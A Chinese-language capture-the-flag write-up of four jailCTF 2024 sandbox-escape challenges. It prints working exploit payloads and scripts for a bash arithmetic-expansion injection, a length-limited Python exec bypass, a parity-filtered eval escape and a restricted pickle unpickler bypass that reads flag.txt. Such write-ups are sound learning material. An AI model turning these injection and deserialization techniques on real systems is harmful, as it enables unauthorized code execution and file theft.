922 字
5 分鐘
jailCTF 2024 Writeup by ICEDTEA

作者聲明#

因為冰茶的其他成員都逃不出監獄,只有鯨鯊喵成功逃獄,因此以下內容由鯨鯊喵 (wha13) 提供。

  • Teamname: ICEDTEA
  • Rank 53/715

Before all#

看到冰茶有開就去玩了下
整場比賽打起來蠻有趣的(但沒有那麼 Real World),主要都在考一些小性質(?)

Write Up#

blind-calc#

題目敘述:calculator using arithmetic expansion in bash
而在bash裡面,$(())裡面的內容會被當數學式去parse並把結果輸出,像是$((1+1))
然而,今天如果使用PATH[1]會取到PATH環境變量的第一個,但今天如果變成WHALE[$(cat flag.txt)]的用法呢…?
blind-calc_0
他把$(cat flag.txt)的內容當token變數ㄌ,成功RCE!

filter’d#

chal.py

#!/usr/local/bin/python3
M = 14  # no malicious code could ever be executed since this limit is so low, right?
def f(code):
    assert len(code) <= M
    assert all(ord(c) < 128 for c in code)
    assert all(q not in code for q in ["exec", 
"eval", "breakpoint", "help", "license", "exit"
, "quit"])
    exec(code, globals())
f(input("> "))

觀察:

  1. 用global變數14去限制輸入大小
  2. 只可以輸入<128的ASCII字元,防止一些UNICODE的Bypass
  3. 禁止一些怪怪的東西輸入
  4. 使用exec,可以對global動手腳

由觀察1和4,一定會想要對M動手腳,但是M=99;f(input())之類的payload大小都>=15,不能用。
問題的癥結點好像在input(五個字元)太長,先去重新定義一個input函數,再去call一次f

w=input;f(w())

第二次去覆蓋掉M

M=99;f(w)

最後把flag.txt open出來就好
filter_0

parity 1#

main.py

#!/usr/local/bin/python3
inp = input("> ")

for i, v in enumerate(inp):
    if not (ord(v) < 128 and i % 2 == ord(v) % 2):
        print('bad')
        exit()

eval(inp)

基本上就是一點:一次free的eval,但是字元的ASCII值必須奇數偶數排列
聽起來就夠討厭,先看一下奇數偶數的ASCII分別有哪些ㄅ
偶數:

['\x00', '\x02', '\x04', '\x06', '\x08', '\n', '\x0c', '\x0e', '\x10', '\x12', '\x14', '\x16', '\x18', '\x1a', '\x1c', '\x1e', ' ', '"', '$', '&', '(', '*', ',', '.', '0', '2', '4', '6', '8', ':', '<', '>', '@', 'B', 'D', 'F', 'H', 'J', 'L', 'N', 'P', 'R', 'T', 'V', 'X', 'Z', '\\', '^', '`', 'b', 'd', 'f', 'h', 'j', 'l', 'n', 'p', 'r', 't', 'v', 'x', 'z', '|', '~']

奇數:

['\x01', '\x03', '\x05', '\x07', '\t', '\x0b', '\r', '\x0f', '\x11', '\x13', '\x15', '\x17', '\x19', '\x1b', '\x1d', '\x1f', '!', '#', '%', "'", ')', '+', '-', '/', '1', '3', '5', '7', '9', ';', '=', '?', 'A', 'C', 'E', 'G', 'I', 'K', 'M', 'O', 'Q', 'S', 'U', 'W', 'Y', '[', ']', '_', 'a', 'c', 'e', 'g', 'i', 'k', 'm', 'o', 'q', 's', 'u', 'w', 'y', '{', '}', '\x7f']

一定先來看看我們的好朋友open、eval或者exec能不能直接送,然後就發現…只有eval滿足奇偶相間,而且e的ASCII是奇數不是偶數…
這個好繞,我是使用21*eval的方法做開頭,接下來就會發現l後面應該接的(奇偶相同,不過在python裡面有一件事:
任意的tab(\t)和空格不影響執行,更重要的事是空格和tab ASCII奇偶不同!
接著再觀察,發現單引號和雙引號奇偶也不同,最後利用eval裡面丟一坨字串加法就可以pass filter拿到flagㄌ
exp.py

from pwn import *
r=remote('challs2.pyjail.club', 7991)
payload=b'21*eval\t(\t"e"+ \'x\' +"e"+"c"+ \'(\' +"i"+ \'n\' + \'p\' +"u"+ \'t\' + \'(\' +")"+")")'
r.sendline(payload)
r.sendline(b"print(open('flag.txt').read())")
r.interactive()

parity_1_0

pickled magic#

我懷疑我又双unintendedㄌ
main.py

#!/usr/local/bin/python3
# modified from https://github.com/splitline/My-CTF-Challenges/blob/master/hitcon-quals/2022/misc/Picklection/release/share/chal.py
import pickle, numpy, io
from pickle import _getattribute
class RestrictedUnpickler(pickle.Unpickler): 
     def find_class(self, module, name): 
        if module == 'numpy' and '__' not in name:
            return _getattribute(numpy, name)[0]
        raise pickle.UnpicklingError('bad')

data = bytes.fromhex(input("(hex)> "))
print(RestrictedUnpickler(io.BytesIO(data)).load())

簡單來說,這題就是一個標準的pickle jail,只允許numpy和不含__的name通過,我猜標準做法應該是像HITCON 2022那樣在numpy底下串一個chain出來做RCE(大部分隊伍都這樣想,也難怪解出隊伍數量不多),但因為我懶得挑gadget,我就發現numpy底下有個loadtxt可以讀檔…
exp.py

import pickle
class Exploit:
    def __reduce__(self):
        import numpy
        return numpy.loadtxt, ('flag.txt',)

Payload=pickle.dumps(Exploit())
print(Payload.hex())

pickled_magic_0
成功從error挖flag

After all#

最近很少更新,在準備升大學zzz

jailCTF 2024 Writeup by ICEDTEA
https://ic3dt3a.org/posts/2024jailctf/
作者
ICEDTEA
發佈於
2024-09-19
授權協議
CC BY-NC-SA 4.0